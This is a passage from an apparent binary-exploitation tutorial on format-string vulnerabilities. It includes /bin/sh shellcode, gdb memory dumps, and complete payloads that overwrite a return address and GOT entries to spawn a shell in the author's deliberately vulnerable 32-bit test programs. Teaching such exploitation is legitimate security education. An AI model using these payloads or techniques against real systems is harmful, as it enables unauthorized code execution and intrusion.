"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 1021 | 1022 | Breakpoint 1, 0x080491f9 in main () 1023 | 1024 | gef➤ x/100wx $esp - 0x100 1025 | 0xffffcdf0: 0x00000000 0x00000000 0x00000000 0x00000000 1026 | 0xffffce00: 0x00000000 0x00000000 0xf7ffd000 0x00000000 1027 | 0xffffce10: 0x00000000 0x00000000 0x00000000 0x00000000 1028 | 0xffffce20: 0x00000000 0x00000000 0x00000000 0x00000000 1029 | 0xffffce30: 0x00000000 0xffffffff 0x00000000 0xf7dc658c 1030 | 0xffffce40: 0xf7fcb110 0x00000000 0xffffce4c 0x00000000 1031 | 0xffffce50: 0x00000000 0x00000240 0x00000340 0x00000380 1032 | 0xffffce60: 0x00000380 0x00000001 0x00000000 0x080482c2 1033 | 0xffffce70: 0x0804c014 0xf7fe19ae 0x080482c2 0xf7ffd980 1034 | 0xffffce80: 0xffffceb4 0xf7ffdb40 0xf7fcb410 0x00000001 1035 | 0xffffce90: 0xf7e48259 0xf7fe1a0a 0xf7dc46e8 0xf7fcb410 1036 | 0xffffcea0: 0xf7ffd000 0x080482a8 0x00000001 0x00000001 1037 | 0xffffceb0: 0xf7dcdedc 0xf7dc658c 0xf7dce76c 0xf7fcb110 1038 | 0xffffcec0: 0xffffcf14 0x0804c000 0xf7fa8000 0xf7fa8000 1039 | 0xffffced0: 0xffffcfd8 0xf7fe7cd4 0xffffd014 0xf7e595ce 1040 | 0xffffcee0: 0xf7fa8000 0xf7fa8000 0x0804c000 0x080491f9 1041 | 0xffffcef0: 0xffffcf08 0xffffd28c 0x000000c8 0x080491d4 1042 | 0xffffcf00: 0x00000000 0x00000000 0xffffcfec 0xffffcfee 1043 | 0xffffcf10: 0x30333525 0x25753432 0x256e2436 0x30353231 1044 | 0xffffcf20: 0x37257533 0x0beb6e24 0x31c0315b 0xb0d231c9 1045 | 0xffffcf30: 0xe880cd0b 0xfffffff0 0x6e69622f 0x0068732f 1046 | 0xffffcf40: 0x00000000 0x00000000 0x00000000 0x00000000 1047 | 0xffffcf50: 0x00000000 0x00000000 0x00000000 0x00000000 1048 | 0xffffcf60: 0x00000000 0x00000000 0x00000000 0x00000000 1049 | 0xffffcf70: 0x00000000 0x00000000 0x00000000 0x00000000 1050 | gef➤ 1051 | ~~~ 1052 | 1053 | You can see that the address where the strncpy function placed our input string is `0xffffcf08`. Thus, you need to determine the offset and do all calculations for the exploit. I just show you my final exploit. 1054 | 1055 | ~~~bash 1056 | shogun@kyoto:~/repos/basics-of-pwn/content/format-string$ ./format-string $(python -c 'print "\x4c\xd0\xff\xff" + "\x4e\xd0\xff\xff" + "%53120u" + "%6$n" + "%12407u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') 1057 | L���N��� 1058 | 1059 | ========================= 1060 | The long empty output here... 1061 | ========================= 1062 | 1063 | 200�$ w 1064 | 11:30:04 up 37 min, 1 user, load average: 0.42, 0.39, 0.35 1065 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 1066 | shogun tty7 :0 10:53 37:01 1:42 1.25s xfce4-session 1067 | $ 1068 | ~~~ 1069 | 1070 | Okay, you can say that if we wouldn't have a ltrace tool then we couldn't exploit the vulnerability. It is not true. Don't forget about brute-force attack and pwntools. With some brute-force script that will do all calculations and execute the exploit sooner or later, you will get a shell. 1071 | 1072 | ## What else can you overwrite with a format string 1073 | 1074 | With the format string, you will discover many ways of exploitation. 1075 | 1076 | Format string variants of exploitation: 1077 | 1078 | 1. Overwrite the saved return address. 1079 | 2. Overwrite another application-specific function pointer. 1080 | 3. Overwrite a pointer to an exception handler, then cause an exception. 1081 | 4. Overwrite a GOT entry. 1082 | 5. Overwrite the atexit handler. 1083 | 6. Overwrite entries in the DTORS section. 1084 | 7. Turn a format string bug into a stack or heap overflow by overwriting a null terminator with non-null data. 1085 | 8. Write application-specific data such as stored UID or GID values with values of your choice. 1086 | 9. Modify strings containing commands to reflect commands of your choice. 1087 | 1088 | I will show here, how to overwrite a GOT entry. 1089 | 1090 | Consider the program: 1091 | ```C 1092 | #include 1093 | #include 1094 | 1095 | // gcc got-overwrite.c -o got-overwrite -fno-stack-protector -no-pie -z execstack -Wl,-z,norelro -m32 1096 | 1097 | 1098 | int main(int argc, char *argv[]){ 1099 | char buff[200]; 1100 | strncpy(buff, argv[1], 200); 1101 | printf(buff); 1102 | char buff2[200]; 1103 | gets(buff2); 1104 | printf(buff2); 1105 | return 0; 1106 | } 1107 | ``` 1108 | 1109 | You can see GOT table: 1110 | ```bash 1111 | $ objdump -R got-overwrite 1112 | 1113 | got-overwrite: file format elf32-i386 1114 | 1115 | DYNAMIC RELOCATION RECORDS 1116 | OFFSET TYPE VALUE 1117 | 0804b268 R_386_GLOB_DAT __gmon_start__ 1118 | 0804b278 R_386_JUMP_SLOT printf@GLIBC_2.0 1119 | 0804b27c R_386_JUMP_SLOT gets@GLIBC_2.0 1120 | 0804b280 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 1121 | 0804b284 R_386_JUMP_SLOT strncpy@GLIBC_2.0 1122 | ``` 1123 | 1124 | Let's try to overwrite it in gdb. For this, you need to do the same as above in the exploitation of vulnerability: 1125 | 1126 | 1. Determine the function that is similar to system() or execve() and in which program puts the arguments that you can control. 1127 | 2. Determine the address of the system or execve. 1128 | 3. Specify the address within GOT table. 1129 | 4. Overwrite it with the address of the system or execve. 1130 | 1131 | ### Determine the function as a target 1132 | 1133 | In my program `got-overwrite.c`, you can find the place where it takes another output interactively in another buffer `buff2`. So, the printf is a nice candidate for overwriting within GOT table. But here the problem - the address of printf within GOT is placed above the address of puts. So, if you will overwrite printf, you also overwrite the next 2 bytes of puts address and it will not allow you to exploit the program. Thus, you also need to overwrite the puts address with it. 1134 | 1135 | ### Determine the address of system or execve 1136 | 1137 | In gdb: 1138 | ```bash 1139 | gef➤ print system 1140 | $1 = {} 0xf7e02830 1141 | ``` 1142 | 1143 | So, this is the address which you will write in GOT. 1144 | 1145 | ### Specify the address within GOT table 1146 | 1147 | Let's try to exploit it without overwriting puts. I'll not specify how to determine the address and direct parameter number, you can do it yourself. 1148 | ```bash 1149 | gef➤ b *main + 138 1150 | Breakpoint 1 at 0x8049260 1151 | gef➤ r aaaa 1152 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/got-overwrite aaaa 1153 | aaaaaaaa 1154 | 1155 | Breakpoint 1, 0x08049260 in main () 1156 | gef➤ got 1157 | 1158 | GOT protection: No RelRO | GOT functions: 4 1159 | 1160 | [0x804b278] printf@GLIBC_2.0 → 0xf7e11340 1161 | [0x804b27c] gets@GLIBC_2.0 → 0xf7e2e1b0 1162 | [0x804b280] __libc_start_main@GLIBC_2.0 → 0xf7ddbdf0 1163 | [0x804b284] strncpy@GLIBC_2.0 → 0xf7e58690 1164 | gef➤ r $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "%10280u" + "%54$n" + "%53168u" + "%55$n"') 1165 | Starting program: /home/shogun/repos/basics-of-pwn/content/format-string/got-overwrite $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "%10280u" + "%54$n" + "%53168u" + "%55$n"') 1166 | xz 1167 | 1168 | Program received signal SIGSEGV, Segmentation fault. 1169 | 0x08040000 in ?? () 1170 | gef➤ got 1171 | 1172 | GOT protection: No RelRO | GOT functions: 4 1173 | 1174 | [0x804b278] printf@GLIBC_2.0 → 0xf7e02830 1175 | [0x804b27c] gets@GLIBC_2.0 → 0x8040000 1176 | [0x804b280] __libc_start_main@GLIBC_2.0 → 0xf7ddbdf0 1177 | [0x804b284] strncpy@GLIBC_2.0 → 0xf7e58690 1178 | gef➤ 1179 | ``` 1180 | Here, you see that the printf now has another address, but `puts` has too. That's why you need the next overwrite. 1181 | 1182 | ### Overwrite it with the address of the system 1183 | 1184 | Now, after the first write in GOT, do next write. I can't show you all output, because the format string just places the large empty space between the command and result: 1185 | ```bash 1186 | gef➤ r $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "\x7c\xb2\x04\x08" + "\x7e\xb2\x04\x08" + "%10272u" + "%54$n" + "%53168u" + "%55$n" + "%59856u" + "%56$n" + "%5682u" + "%57$n"') 1187 | 1188 | ================ 1189 | space here 1190 | ================ 1191 | 1192 | 0/bin/sh 1193 | [Detaching after vfork from child process 7246] 1194 | $ w 1195 | 16:08:13 up 42 min, 1 user, load average: 0.16, 0.50, 0.50 1196 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 1197 | shogun tty7 :0 15:25 42:37 1:15 1.33s xfce4-session 1198 | $ 1199 | ``` 1200 | 1201 | Try it outside gdb: 1202 | ```bash 1203 | shogun@kyoto:~/repos/basics-of-pwn/content/format-string$ ./got-overwrite $(python -c 'print "\x78\xb2\x04\x08" + "\x7a\xb2\x04\x08" + "\x7c\xb2\x04\x08" + "\x7e\xb2\x04\x08" + "%10272u" + "%54$n" + "%53168u" + "%55$n" + "%59856u" + "%56$n" + "%5682u" + "%57$n"') 1204 | xz|~ ===== 1205 | space 1206 | ===== 4294955702 ===== 1207 | space 1208 | ===== 200 ===== 1209 | space 1210 | ===== 1211 | 134517236 1212 | ===== 1213 | space 1214 | ===== 1215 | 0/bin/sh 1216 | $ 1217 | ``` 1218 | 1219 | Thus, after the puts placed input string in buff2, you call the system function and it executes the command which you input in buff2. 1220 | --------------------------------------------------------------------------------